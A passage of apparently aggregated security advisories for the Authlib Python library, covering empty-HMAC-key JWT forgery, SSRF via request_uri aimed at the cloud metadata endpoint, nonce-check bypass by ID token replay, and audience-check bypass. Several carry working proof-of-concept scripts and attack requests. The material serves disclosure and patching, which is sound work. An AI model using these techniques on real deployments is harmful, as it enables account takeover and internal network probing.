model is trivially self-issued. This is a documentation/reference-implementation issue rather than a bug the library enforces unconditionally on every deployment, since `authenticate_client` and `check_permission` are abstract methods a developer must implement; the finding is that the only guidance provided for implementing them correctly is, itself, exploitable if followed as written.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:09:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/authlib/authlib/security/advisories/GHSA-c73q-w75p-j82v","https://nvd.nist.gov/vuln/detail/CVE-2026-116672","https://github.com/authlib/authlib/commit/1bd2a313492ce0a4d0571c150730907aa3fc91ff","https://github.com/authlib/authlib/releases/tag/v1.9.1","https://github.com/advisories/GHSA-c73q-w75p-j82v"],"source_kind":"github","identifiers":["GHSA-c73q-w75p-j82v","CVE-2026-116672"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.003Z","updated_at":"2026-11-06T02:00:19.072Z","epss_percentage":0.00274,"epss_percentile":0.1976,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNzNxLXc3NXAtajgyds4ACALT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNzNxLXc3NXAtajgyds4ACALT","packages":[{"ecosystem":"pypi","package_name":"Authlib","versions":[{"first_patched_version":"1.9.1","vulnerable_version_range":"\u003e= 0.15, \u003c= 1.9.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNzNxLXc3NXAtajgyds4ACALT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bTRnLWo0d3Atd2djZ84AB_ow","url":"https://github.com/advisories/GHSA-8m4g-j4wp-wgcg","title":"Authlib accepts an empty HMAC key, allowing JWS/JWT signature forgery (HS256/HS384/HS512)","description":"Reporter: Cavan Loughran, Celvex Group Inc.\n\nSummary\n\nAuthlib's symmetric (oct) key handling accepts an empty key (empty bytes b'' / empty string '') as a valid HMAC signing and verification key. An empty HMAC key produces a deterministic digest that any party can reproduce, so an attacker who knows (or can cause) the application to verify a token with an empty key can forge arbitrary tokens that pass HS256/HS384/HS512 signature verification. This is the Authlib member of the cross-language empty-HMAC-key family already assigned CVE-2026-44351 (fast-jwt, npm) and CVE-2026-45363 (ruby-jwt, RubyGems).\n\nThis is DISTINCT from Authlib's existing recent JWT-verification advisories. It is not closed by CVE-2026-27962 / GHSA-wvwj-cvrp-7pv5 (JWS JWK header injection, the key=None case), nor by CVE-2026-28802 / GHSA-7wc2-qxgw-g8gg (alg:none blank-signature bypass), nor by GHSA-5357-c2jx-v7qh (algorithm confusion with asymmetric public keys). Those address header-driven key injection, the none algorithm, and asymmetric-vs-symmetric confusion respectively; none of them rejects a zero-length oct key.\n\nAffected versions\n\nAuthlib \u003c= 1.7.2 (latest release 1.7.2, 2026-05-06). Confirmed present at the v1.7.2 release tag and on the current main HEAD. The affected code is in authlib/jose/rfc7518/oct_key.py and authlib/jose/rfc7518/jws_algs.py.\n\nRoot cause (exact code location, release tag v1.7.2)\n\n- authlib/jose/rfc7518/oct_key.py, class OctKey:\n  - validate_raw_key is a type-only check: `return isinstance(key, bytes)`. An empty bytes object passes.\n  - import_key rejects only keys whose material starts with known unsafe prefixes (`if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError(...)`, i.e. PEM/SSH prefixes). Empty bytes do not match any unsafe prefix, so b'' is accepted.\n  - get_op_key loads the raw key without validating its length.\n  - No check anywhere rejects a zero-length key, so an empty key b'' passes every gate.\n- authlib/jose/rfc7518/jws_algs.py, class HMACAlgorithm:\n  - prepare_key: `return OctKey.import_key(raw_data)`.\n  - sign / verify call key.get_op_key(...) then `hmac.new(op_key, msg, self.hash_alg)` / `hmac.compare_digest(...)`. With an empty op key this becomes hmac.new(b'', ...): a deterministic, publicly reproducible digest. There is no empty-key or minimum-length check.\n\nWhy this is a real signature bypass\n\nAn empty HMAC key makes the signature a public, deterministic function of the header and payload, so anyone can compute a valid signature and forge tokens. The realistic trigger matches the sibling CVEs: the deploying application sources the verification key from a place that can be empty at runtime, for example os.environ.get('JWT_SECRET', ''), a database/config column whose default is '', or a key-resolver that returns '' on a miss. Authlib is widely used to BUILD token verifiers (OAuth 2.0 resource servers, OIDC relying parties), and Authlib's own recent advisory history shows the JWS/JWT verify path is the live attack surface, so a key-resolution path that can yield '' is a realistic exposure.\n\nReproduction (prose, no weaponized exploit)\n\n1. In an application that uses Authlib to verify JWS/JWT, arrange for the verification key to be an empty value (e.g. an unset environment variable defaulted to '').\n2. An attacker constructs a token with header {alg: HS256} and an arbitrary payload, and computes the HS256 signature using an empty key (a value any party can reproduce because the key is empty).\n3. Authlib's HMAC verification accepts the token as validly signed, because OctKey.import_key did not reject the empty key and hmac.compare_digest matches the attacker-computable digest. The forged token is treated as authentic.\n\nNo live system was probed; the above describes the class. The vulnerable code path and the absent guard are confirmed by direct reading of the public source at the v1.7.2 tag and on current main.\n\nProof the fix is known-good (no novelty risk)\n\nThe same maintainer's newer JOSE library, joserfc, ALREADY rejects empty oct key material outright. In src/joserfc/_rfc7518/oct_key.py, import_key raises a ValueError on empty oct material, with an explicit note that an empty oct key produces a deterministic HMAC digest that any party can reproduce, allowing trivial signature forgery in JWS HS256/HS384/HS512 verification. (joserfc additionally warns on keys below 112 bits.) The same guard is simply absent from the older, far more widely deployed Authlib rfc7518 package. The flagship Python JOSE libraries also guard: PyJWT raises InvalidKeyError('HMAC key must not be empty.') for zero-length keys, and jwcrypto enforces an RFC 7518 minimum key length.\n\nImpact\n\nToken forgery / authentication bypass in OAuth 2.0 resource servers and OIDC relying parties built on Authlib whenever the HMAC verification key can be empty at runtime. An attacker can mint tokens with arbitrary claims (for example elevated scopes or another user's subject) that pass signature verification.\n\n\nSuggested remediation\n\nReject empty oct key material in OctKey.import_key (and/or validate_raw_key), exactly as the maintainer's joserfc library already does, before the key can reach hmac.new in HMACAlgorithm.sign / verify. Consider also adopting joserfc's sub-112-bit minimum-length warning/rejection for HMAC keys.\n\nDisclosure\n\nReporter: Cavan Loughran, Celvex Group Inc.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-27T16:09:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg","https://nvd.nist.gov/vuln/detail/CVE-2026-114616","https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b","https://github.com/authlib/authlib/releases/tag/v1.9.1","https://github.com/advisories/GHSA-8m4g-j4wp-wgcg"],"source_kind":"github","identifiers":["GHSA-8m4g-j4wp-wgcg","CVE-2026-114616"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T17:01:02.379Z","updated_at":"2026-11-06T02:00:25.933Z","epss_percentage":0.00299,"epss_percentile":0.22588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTRnLWo0d3Atd2djZ84AB_ow","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTRnLWo0d3Atd2djZ84AB_ow","packages":[{"ecosystem":"pypi","package_name":"Authlib","versions":[{"first_patched_version":"1.9.1","vulnerable_version_range":"\u003c 1.9.1"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTRnLWo0d3Atd2djZ84AB_ow/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NHJ2LWMzd3gtNGNyOM4AB_ok","url":"https://github.com/advisories/GHSA-x4rv-c3wx-4cr8","title":"Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF","description":"### Summary\n\nAuthlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. \n### Details\n\nVerified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.\n\nThe extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58).\n\nThe only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier.\n\nThe sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:\n\n```python\ndef _get_raw_request_object(self, request: OAuth2Request) -\u003e str:\n    if \"request_uri\" in request.payload.data:\n        raw_request_object = self.get_request_object(\n            request.payload.data[\"request_uri\"]\n        )\n        if not raw_request_object:\n            raise InvalidRequestUriError(state=request.payload.state)\n```\n\n`get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):\n\n```python\ndef get_request_object(self, request_uri: str):\n    try:\n        return requests.get(request_uri).text\n    except requests.Exception:\n        return None\n```\n\nTwo points sharpen this beyond a generic documentation issue:\n\n- **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use.\n- **RFC 9101 §10.4.1 asks for controls that are absent.** It states the server should \"a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`.\" The extension implements none of these and the documented example implements none of them either.\n\nThe two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186).\n\n### PoC\n\nThis demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.\n\n```bash\npython -m venv .venv \u0026\u0026 .venv/bin/pip install authlib\n```\n\n```python\nfrom authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request\nfrom authlib.oauth2.rfc9101 import JWTAuthenticationRequest\n\nreached = []\n\n\nclass Extension(JWTAuthenticationRequest):\n    def get_request_object(self, request_uri):\n        reached.append(request_uri)  # the docstring puts requests.get(request_uri) here\n        return None\n\n    def resolve_client_public_key(self, client):\n        return {\"keys\": []}\n\n    def get_server_metadata(self):\n        return {}\n\n    def get_client_require_signed_request_object(self, client):\n        return False\n\n\nclass AuthorizationServer:\n    def query_client(self, client_id):\n        return object()\n\n\nuri = \"http://169.254.169.254/latest/meta-data/\"\nrequest = OAuth2Request(\"GET\", \"https://as.example/authorize\")\nrequest.payload = BasicOAuth2Payload({\"client_id\": \"demo\", \"request_uri\": uri})\n\ntry:\n    Extension().parse_authorization_request(AuthorizationServer(), request)\nexcept Exception as exc:\n    print(\"error:\", type(exc).__name__)\n\nprint(\"fetch hook received:\", reached)\n```\n\nOutput on authlib 1.7.2:\n\n```text\nerror: InvalidRequestUriError\nfetch hook received: ['http://169.254.169.254/latest/meta-data/']\n```\n\nAgainst a deployment that used the docstring implementation, the equivalent unauthenticated request is:\n\n```text\nGET /authorize?response_type=code\u0026client_id=demo\u0026request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F\n```\n\nReturning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one.\n\n### Impact\n\nServer-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.\n\nResponse bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:39:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8","https://nvd.nist.gov/vuln/detail/CVE-2026-114620","https://github.com/authlib/authlib/pull/949","https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0","https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://github.com/advisories/GHSA-x4rv-c3wx-4cr8"],"source_kind":"github","identifiers":["GHSA-x4rv-c3wx-4cr8","CVE-2026-114620"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.934Z","epss_percentage":0.00385,"epss_percentile":0.32577,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHJ2LWMzd3gtNGNyOM4AB_ok","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NHJ2LWMzd3gtNGNyOM4AB_ok","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003e= 1.6.0, \u003c 1.9.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHJ2LWMzd3gtNGNyOM4AB_ok/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNW1mLXhtcDItNTlyY84AB_oj","url":"https://github.com/advisories/GHSA-c5mf-xmp2-59rc","title":"Authlib: ID token can disable its own nonce validation via the nonce_supported claim","description":"### Summary\n\n`OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token.\n\nAn ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.\n\nThe code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `authlib/integrations/base_client/async_openid.py:84-85`, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a).\n  \nPreconditions: the ID token must carry a valid signature and pass `iss` and `aud` validation, and the attacker must be able to supply it to `parse_id_token()`. Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling `parse_id_token()` directly, are affected.\n\n### Details\n\n## Affected code\n\n`authlib/integrations/base_client/sync_openid.py:80-85`, in `parse_id_token()`:\n\n```python\nclaims = claims_cls(token.claims, token.header, claims_options, claims_params)\n# https://github.com/authlib/authlib/issues/259\nif claims.get(\"nonce_supported\") is False:\n    claims.params[\"nonce\"] = None\n\nclaims.validate(leeway=leeway)\n```\n\n`authlib/integrations/base_client/async_openid.py:82-86` contains the same code.\n\n## Source of the claim\n\n`claims` is constructed from `token.claims`, which is the decoded payload of the ID token passed to `parse_id_token()`:\n\n```python\ntoken = jwt.decode(\n    token[\"id_token\"],\n    key=key_set,\n    registry=JWSRegistry(algorithms=alg_values, strict_check_header=False),\n)\n...\nclaims = claims_cls(token.claims, token.header, claims_options, claims_params)\n```\n\n`claims.get(\"nonce_supported\")` therefore resolves against the ID token payload. It is not read from `load_server_metadata()`, from client configuration, or from any other source under the relying party's control.\n\n## Effect on validation\n\n`IDToken.validate_nonce()` at `authlib/oidc/core/claims.py:69-83` performs the comparison only when the expected value is truthy:\n\n```python\nnonce_value = self.params.get(\"nonce\")\nif nonce_value:\n    if \"nonce\" not in self:\n        raise MissingClaimError(\"nonce\")\n    if nonce_value != self[\"nonce\"]:\n        raise InvalidClaimError(\"nonce\")\n```\n\nAssigning `claims.params[\"nonce\"] = None` makes `nonce_value` falsy, so both the presence check and the equality check are skipped. No error is raised and `claims.validate()` completes normally.\n\nThe docstring of that same method states the requirement:\n\n\u003e If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.\n\n## Trigger condition\n\nThe comparison is `is False`, so only a JSON boolean `false` activates the branch. A string value `\"false\"` does not, and nonce validation proceeds normally in that case.\n\n## Origin\n\nThe branch was added in commit `3ca7333c` (\"Skip verifying nonce for Apple case\") to accommodate a provider that emits a `nonce_supported` claim, as referenced by the inline comment pointing to issue #259.\n\n## Remediation\n\nRead the flag from server metadata or client configuration rather than from the token:\n\n```python\nmetadata = self.load_server_metadata()\nif metadata.get(\"nonce_supported\") is False:\n    claims.params[\"nonce\"] = None\n```\n\nThis preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.\n\n### Proof of concept\n\n## Environment\n\n- authlib 1.8.0, commit `c529a61a` (tag `v1.8.0`)\n- Python 3.14\n- joserfc 1.7.5\n- No network access required\n\n```\ngit clone https://github.com/authlib/authlib.git \u0026\u0026 cd authlib\ngit checkout c529a61a\npython3 -m venv .venv\n.venv/bin/pip install -e . joserfc==1.7.5\n.venv/bin/python poc.py\n```\n\n## Configuration\n\nThe relying party is a subclass of the shipped `OpenIDMixin` supplying only `client_id` and `load_server_metadata()`. `fetch_jwk_set()` returns `metadata[\"jwks\"]` directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.\n\nThe signing key is a generated RSA key. All three tokens are signed with it, carry `iss` and `aud` matching the relying party configuration, and are within their validity window. The relying party's session nonce is `nonce-the-rp-actually-generated`; every token carries the different nonce `nonce-from-the-captured-token`.\n\n## poc.py\n\n```python\nfrom joserfc import jwt\nfrom joserfc.jwk import RSAKey\nfrom authlib.integrations.base_client.sync_openid import OpenIDMixin\n\nISSUER = \"https://as.example\"\nCLIENT_ID = \"rp-client\"\nKEY = RSAKey.generate_key(2048, parameters={\"kid\": \"k1\"})\nJWKS = {\"keys\": [KEY.as_dict(private=False)]}\n\n\nclass RP(OpenIDMixin):\n    client_id = CLIENT_ID\n\n    def load_server_metadata(self):\n        return {\"issuer\": ISSUER, \"jwks\": JWKS}\n\n\ndef id_token(nonce, sub=\"victim\", nonce_supported=None):\n    claims = {\"iss\": ISSUER, \"sub\": sub, \"aud\": CLIENT_ID,\n              \"iat\": 1000000000, \"exp\": 4000000000, \"auth_time\": 1000000000}\n    if nonce is not None:\n        claims[\"nonce\"] = nonce\n    if nonce_supported is not None:\n        claims[\"nonce_supported\"] = nonce_supported\n    return jwt.encode({\"alg\": \"RS256\", \"kid\": \"k1\"}, claims, KEY)\n\n\nrp = RP()\nSESSION_NONCE = \"nonce-the-rp-actually-generated\"\nCAPTURED_NONCE = \"nonce-from-the-captured-token\"\n\ncases = [\n    (\"[1] no nonce_supported claim\", None),\n    (\"[2] nonce_supported: false\", False),\n    (\"[3] nonce_supported: \\\"false\\\"\", \"false\"),\n]\n\nfor label, flag in cases:\n    tok = {\"access_token\": \"AT\",\n           \"id_token\": id_token(CAPTURED_NONCE, nonce_supported=flag)}\n    try:\n        user = rp.parse_id_token(tok, nonce=SESSION_NONCE)\n        print(f\"{label:34s} -\u003e ACCEPTED sub={user['sub']}\")\n    except Exception as e:\n        print(f\"{label:34s} -\u003e REJECTED {type(e).__name__}: {e}\")\n```\n\n## Expected result\n\nAll three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected.\n\n## Observed result\n\n```\n[1] no nonce_supported claim       -\u003e REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'\n[2] nonce_supported: false         -\u003e ACCEPTED sub=victim\n[3] nonce_supported: \"false\"       -\u003e REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'\n```\n\nCase [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the `nonce_supported` claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean.\n\nThe script exits 0 and produces identical output across three runs.\n\n### Impact\n\n## Type of vulnerability\n\nReliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294).\n\nThe nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to.\n\n## Who is impacted\n\nOpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to `parse_id_token()`:\n\n- Implicit flow relying parties, where the ID token is returned in the URL fragment.\n- Hybrid flow relying parties, where the ID token is returned in the fragment or by form post.\n- Applications calling `parse_id_token()` directly on externally supplied input.\n\nBoth the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed.\n\nRelying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a `state` lookup and cannot be substituted by an attacker.\n\n## Consequence\n\nAn attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, `parse_id_token()` returns a `UserInfo` for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it.\n\nThe token must carry a valid signature and pass `iss` and `aud` validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a `Referer` header, proxy or server logs, or a shared device.\n\n## Mitigation available to integrators\n\nNone. The check is performed inside `parse_id_token()`, and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:39:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-c5mf-xmp2-59rc","https://nvd.nist.gov/vuln/detail/CVE-2026-114617","https://github.com/authlib/authlib/pull/949","https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://github.com/advisories/GHSA-c5mf-xmp2-59rc"],"source_kind":"github","identifiers":["GHSA-c5mf-xmp2-59rc","CVE-2026-114617"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.938Z","epss_percentage":0.00265,"epss_percentile":0.18534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNW1mLXhtcDItNTlyY84AB_oj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNW1mLXhtcDItNTlyY84AB_oj","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003c= 1.8.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNW1mLXhtcDItNTlyY84AB_oj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY2g0LTNjNngtajRnY84AB_oi","url":"https://github.com/advisories/GHSA-fch4-3c6x-j4gc","title":"Authlib: Default JWT bearer grant accepts assertions for the wrong audience","description":"## Description\n\n### Summary\n\nAuthlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token.\n\nTo be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.\n\n### Affected Entrypoints\n\n- `authlib.oauth2.rfc7523.JWTBearerGrant` — default `get_audiences()` returns empty list\n- `authlib.jose.jwt.decode()` with `claims_options` for audience validation\n- `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled\n\n### Exploit Path\n\n```\n1. Attacker authenticates to Service A (low-privilege)\n2. Authorization server issues JWT with \"aud\": \"https://evil.test/token\"\n3. Attacker presents this assertion to Service B's token endpoint\n4. Service B uses default JWTBearerGrant (get_audiences() = [])\n5. verify_claims() only checks aud *exists*, not its value\n6. Service B issues an access token — audience bypass achieved\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates that the default JWTBearerGrant accepts JWT assertions\nwhose audience does not match the token endpoint, while a strict\naudience override correctly rejects them.\n\"\"\"\nimport json\nimport os\nimport sys\n\nfrom joserfc.jwk import KeySet, OctKey\n\nWRONG_AUDIENCE = \"https://evil.test/token\"\nEXPECTED_AUDIENCE = \"https://provider.test/token\"\nGRANT_TYPE = \"urn:ietf:params:oauth:grant-type:jwt-bearer\"\n\n\ndef build_and_exercise(strict_audience: bool) -\u003e tuple[int, dict]:\n    from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant\n    # Uses Authlib's own Flask test fixtures\n    from tests.flask.test_oauth2.models import Client, User, db\n    from tests.flask.test_oauth2.oauth2_server import (\n        create_authorization_server, create_flask_app,\n    )\n\n    class JWTBearerGrant(BaseJWTBearerGrant):\n        def resolve_issuer_client(self, issuer):\n            return Client.query.filter_by(client_id=issuer).first()\n\n        def resolve_client_public_key(self, client):\n            return KeySet([\n                OctKey.import_key(\"foo\", {\"kid\": \"1\"}),\n                OctKey.import_key(\"bar\", {\"kid\": \"2\"}),\n            ])\n\n        def authenticate_user(self, subject):\n            return None\n\n        def has_granted_permission(self, client, user):\n            return True\n\n        # Only override get_audiences when testing strict mode\n        if strict_audience:\n            def get_audiences(self):\n                return [EXPECTED_AUDIENCE]\n\n    app = create_flask_app()\n    os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n    with app.app_context():\n        db.init_app(app)\n        db.create_all()\n\n        user = User(username=\"demo-user\")\n        db.session.add(user)\n        db.session.commit()\n\n        client = Client(\n            user_id=user.id,\n            client_id=\"client-id\",\n            client_secret=\"client-secret\",\n        )\n        client.set_client_metadata({\n            \"scope\": \"profile\",\n            \"redirect_uris\": [\"https://client.test/authorized\"],\n            \"grant_types\": [GRANT_TYPE],\n        })\n        db.session.add(client)\n        db.session.commit()\n\n        server = create_authorization_server(app)\n        server.register_grant(JWTBearerGrant)\n\n        # Sign assertion with WRONG audience\n        assertion = JWTBearerGrant.sign(\n            \"foo\",\n            issuer=\"client-id\",\n            audience=WRONG_AUDIENCE,  # \u003c-- Not the expected audience\n            subject=None,\n            header={\"alg\": \"HS256\", \"kid\": \"1\"},\n        )\n\n        rv = app.test_client().post(\n            \"/oauth/token\",\n            data={\"grant_type\": GRANT_TYPE, \"assertion\": assertion},\n        )\n        body = json.loads(rv.data)\n        db.session.remove()\n        db.drop_all()\n        return rv.status_code, body\n\n\ndef main() -\u003e int:\n    # Test 1: Default grant (no audience enforcement)\n    vuln_status, vuln_body = build_and_exercise(strict_audience=False)\n\n    # Test 2: Strict audience grant (correct behavior)\n    strict_status, strict_body = build_and_exercise(strict_audience=True)\n\n    result = {\n        \"wrong_audience\": WRONG_AUDIENCE,\n        \"expected_audience\": EXPECTED_AUDIENCE,\n        \"vulnerable_status\": vuln_status,\n        \"vulnerable_body\": vuln_body,\n        \"strict_status\": strict_status,\n        \"strict_body\": strict_body,\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n    if (\n        vuln_status == 200\n        and \"access_token\" in vuln_body\n        and strict_body.get(\"error\") == \"invalid_grant\"\n    ):\n        print(\n            \"POC_SUCCESS: default JWTBearerGrant issued an access token for \"\n            \"an assertion whose aud did not match the token endpoint, while \"\n            \"strict audience validation rejected the same assertion.\"\n        )\n        return 0\n\n    print(\"POC_FAILURE: expected token issuance under default grant \"\n          \"and invalid_grant under strict audience control.\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Observed Result\n\n- **Default grant (vulnerable):** HTTP 200, `access_token` issued despite `aud: \"https://evil.test/token\"`\n- **Strict grant (fixed):** HTTP 400, `error: \"invalid_grant\"` — correctly rejects mismatched audience\n- Confirms the default `get_audiences()` returns empty, so audience validation is effectively skipped\n\n### Impact\n\n- **Vulnerability Type:** CWE-287 — Improper Authentication\n- An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys\n- Particularly dangerous in **microservice architectures** where services share identity infrastructure\n- Enables unauthorized access escalation across trust boundaries\n- The vulnerability is in the *default behavior* — most integrations won't override `get_audiences()`\n---\n### Credit\nReported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: 